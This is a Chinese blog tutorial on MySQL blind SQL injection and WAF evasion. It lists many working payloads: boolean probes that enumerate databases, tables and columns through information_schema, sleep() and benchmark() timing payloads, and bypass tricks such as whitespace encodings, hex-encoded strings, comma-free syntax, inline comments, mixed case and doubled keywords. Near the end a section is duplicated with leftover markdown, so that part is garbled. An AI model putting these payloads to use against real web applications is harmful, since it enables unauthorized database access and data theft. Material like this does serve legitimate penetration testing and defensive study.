首页 > 数据库 >sql注入盲注详解以及绕过waf方法

sql注入盲注详解以及绕过waf方法

时间:2024-10-18 23:47:01浏览次数:3  
标签:information name database waf where sql 盲注 select schema

盲注

mysql函数普及

exists(): 用于判度条件是否满足,满足返回True,否则返回False

if(条件,为真返回的值,为假返回的值):根据条件真假返回指定的值

length(string):计算出长度string 可以是任何字符串字面量或者字段名。

substr(string,子字符串开始的位置,要提取的子字符串长度):提取子字符串

substring(string,子字符串开始的位置,要提取的子字符串长度):提取子字符串

mid(string,子字符串开始的位置,要提取的子字符串长度):提取子字符串

ascii():将字符串阿斯克编码(仅限转换单字节)

bin():将一个长整数转换为2进制字符串

ord():将字符串阿斯克编码(可以转换单字节 也可转换多字节)

reverse(string):将string顺序颠倒

count():统计查询结果

sleep(1):暂停1s再响应

benchmark(N,exp):循环执行exp N次

greatest():返回最大值

lease():返回最小值

like:可以使用%(表任意数量字符) _(表单个字符)

rlike/regexp:可使用正则匹配

img

布尔盲注

判断是否存在表

and exists(select * from information_schema.tables)

在这里插入图片描述

判度存在多少个库

or if((select count(*) from information_schema.schemata) > 0, 1=1, 1=2); 

在这里插入图片描述

在这里插入图片描述

判度当前库名长度

or length(database()) = 6;

在这里插入图片描述

爆破当前库名

and substr(database(),1,1)='P'
and ord(substr(database(),1,1))=112

在这里插入图片描述

探测总库数量

and (select count(schema_name) from information_schema.schemata)=5

在这里插入图片描述

探测所有库

and ord(substr((select group_concat(schema_name) from information_schema.schemata),1,1))=105;

在这里插入图片描述

在这里插入图片描述

探测指定库表数量

and (select count(table_name) from information_schema.tables where table_schema=database())=5;

在这里插入图片描述

探测第一个表长度

and length((select table_name from information_schema.tables where table_schema=database() limit 0,1))=8

在这里插入图片描述

爆破探测第一个表名

and ord(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=8

在这里插入图片描述

爆破探测指定表的列名

and ord(substr((select column_name from information_schema.columns where table_schema=database() and table_name='httpinfo' limit 0,1),1,1))=8

在这里插入图片描述

时间盲注

时间盲注和布尔盲注的主要区别就是,时间盲注靠网页响应时间判断结果

语句和布尔盲注相比就是多了 sleep()函数和if()函数

例如 判断是否存在表

布尔盲注

and exists(select * from information_schema.tables)

时间盲注

and if(exists(select * from information_schema.tables),sleep(5),1)
and if(exists(select * from information_schema.tables),benchmark(50000000,sha1('asasa')),1)

在这里插入图片描述

在这里插入图片描述

sql注入绕过总结

空格绕过

在请求阶段绕过

%20 %09 %0a %0b %0c %0d %a0 %00

在sql语句阶段绕过

/**/ /*!*/ /*212*/
在这里插入图片描述

括号代替空格

原来:select * from users where id='1' union select 1,2,3,database();

括号代替:select * from users where id='1'union(select 1,2,3,database());

在这里插入图片描述

引号绕过

16进制代替

原来:select column_name from information_schema.tables where table_name=“users”

替换后:select column_name from information_schema.tables where table_name=0x7573657273

直接避免使用引号

逗号绕过

from

在使用盲注的时候,需要使用到substr(),mid(),limit。这些子句方法都需要使用到逗号。对于substr()和mid()这两个方法可以使用from to的方式来解决:

select substr(database() from 1 for 1);
select mid(database() from 1 for 1);

在这里插入图片描述

join

原来:select * from users where id='1’union select 1,2,3,database();

在这里插入图片描述

join替换:select * from users where id='1’union select * from (select 1)a join (select 2)b join (select 3)c join (select database())d;

在这里插入图片描述

like

原来:select ascii(mid(database(),1,1))=112;

在这里插入图片描述

替换:select database() like ‘p%’;

意思是以p开头

在这里插入图片描述

offset

原来:select * from users limit 0,1;

在这里插入图片描述

替换:select * from users limit 1 offset 0;

在这里插入图片描述

<>绕过

greatest()、least():(前者返回最大值,后者返回最小值)

原来:select * from users where id=‘1’ and ord(substr(database(),1,1))>0;

在这里插入图片描述

替换:select * from users where id=‘1’ and greatest(ord(substr(database(),1,1)),200)=200;

相当于拿着查询结果的ascii码和200最对比,判断200大还是它大

在这里插入图片描述

or and xor not绕过

and=&& or=|| xor=| not=!

=绕过

like 、rlike 、regexp 或者 使用< 或者 >或<>

绕过union,select,where等

使用注释符绕过

常用注释符:

//,-- , /**/, #, --+, -- -, ;,%00,--a

用法:

U/**/ NION /**/ SE/**/ LECT /**/user,pwd from user

使用大小写绕过

id=-1'UnIoN/**/SeLeCT

内联注释绕过

id=-1'/*!UnIoN*/ SeLeCT 1,2,concat(/*!table_name*/) FrOM /*information_schema*/.tables /*!WHERE *//*!TaBlE_ScHeMa*/ like database()#
双关键字绕过
id=-1'UNIunionONSeLselectECT1,2,3–-

LECT /**/user,pwd from user




### 使用大小写绕过

```sql
id=-1'UnIoN/**/SeLeCT

内联注释绕过

id=-1'/*!UnIoN*/ SeLeCT 1,2,concat(/*!table_name*/) FrOM /*information_schema*/.tables /*!WHERE *//*!TaBlE_ScHeMa*/ like database()#
双关键字绕过
id=-1'UNIunionONSeLselectECT1,2,3–-

标签:information,name,database,waf,where,sql,盲注,select,schema
From: https://blog.csdn.net/weixin_67289581/article/details/142966168

相关文章

  • Sqlmap命令使用方法总结----适合网络安全小白
    在网上找了很多教程,都是零零散散的,找到了两位位前辈的博客,应该是翻译的官方文档,感谢前辈们做出的贡献.希望能够帮助刚学网络安全的小白们本文参考:漏洞人生和sqlmap用户手册中文版目录Sqlmap使用方法总结sqlmap简介常用语句sqlmap详细命令用法选项目标请求优化注入......
  • 2024/10/18日 日志 --》关于MySQL中的 事务 以及JDBC的初步学习笔记与整理
    今天学习练习了事务的相关内容,并正式向连接数据库走近,进入到JDBC的学习。点击查看代码--事务--概念简介:是一种机制,一个操作序列,包含了一组数据库操作命令。-- 事务把所有的命令作为一个整体一起向系统提交或撤销操作请求,--即这一组数据库命令要么同时成功,要么同时失......
  • 【PostgreSQL】如何安装和配置PgBouncer以提高PostgreSQL的并发处理能力?
    安装和配置PgBouncer以提高PostgreSQL的并发处理能力是一个多步骤的过程。PgBouncer作为连接池器,可以有效地管理到PostgreSQL服务器的连接,从而减少每个新连接所需的开销,并且能够更高效地利用资源。下面是详细的步骤说明,包括如何在Debian/Ubuntu系统上安装PgBouncer以及如何......
  • MYSQL-多表查询和函数
    第一题讲解#1.查出至少有一个员工的部门,显示部门编号、部门名称、部门位置、部门人数。分析: (分析要查的表): (显示的列): (关联条件): (过滤条件): [分组条件]: [排序条件]: [分页条件]: SELECT d.deptno,dname,loc,count(empno)FROMdeptdJOINem......
  • MyBatis入门及sql语句实战
    目录概述环境的配置MyBatis操作步骤总结创建UserMapper.java映射器接口创建UserMapper.xml映射文件在mybatis-config.xml环境配置文件中添加UserMapper.xml映射文件路径在MyBatisDemo中编写MyBatis测试代码MyBatis环境搭建MyBatis查询操作CURD操作参数传递方式Mapper映射......
  • Hive为什么依赖Mysql
    Hive之所以需要MySQL依赖,主要是因为Hive使用MySQL(或其他关系型数据库)来存储其元数据。以下是详细的解释:元数据存储Hive在执行查询和存储数据时,需要维护表的结构、列的数据类型、表之间的关系、分区信息等元数据。这些元数据通常存储在一个称为Metastore的地方。为了......
  • 数据库性能调优:定位Slow SQL!
    定位慢SQL(SlowSQL)是数据库性能调优中的一个重要任务,目的是找到和优化那些执行时间较长的SQL查询。以下是常用的定位慢SQL的方法和步骤:1.使用数据库自带工具大多数数据库管理系统(DBMS)提供了内置的工具和视图来帮助定位慢SQL。以下是一些主要数据库的常用工具:MySQL慢......
  • Java工程师必备的20条SQL最佳实践详解
    在Java开发中,SQL是处理数据库交互的核心技能。高效的SQL查询不仅能够提升应用程序的性能,还能减少资源消耗和提高用户体验。以下是Java工程师必备的20条SQL最佳实践,每条都附有代码示例和详细解释。1.使用索引索引可以显著提高查询速度。为经常用于查询条件、排序和连接的......
  • mysql当数据库发现了慢sql怎么定位?--待验证
    1、应用侧生成链路id。使用skywalking2、mybatis写拦截器,sql里面加入链路id`@Intercepts({@Signature(type=StatementHandler.class,method="prepare",args={Connection.class,Integer.class})})publicclassSqlStatementInterceptorimplementsInterceptor{......
  • 【高级SQL 十条调优技巧含实例可执行命令】
    高级SQL技巧是在SQL查询和操作方面进行更高级的优化和功能实现的技巧。以下是一些常见的高级SQL技巧:使用窗口函数:窗口函数是一种强大的SQL功能,它允许在查询结果上执行聚合函数,同时保留原始数据行。使用窗口函数可以实现排序、分组和计算行号等功能。窗口函数:SELE......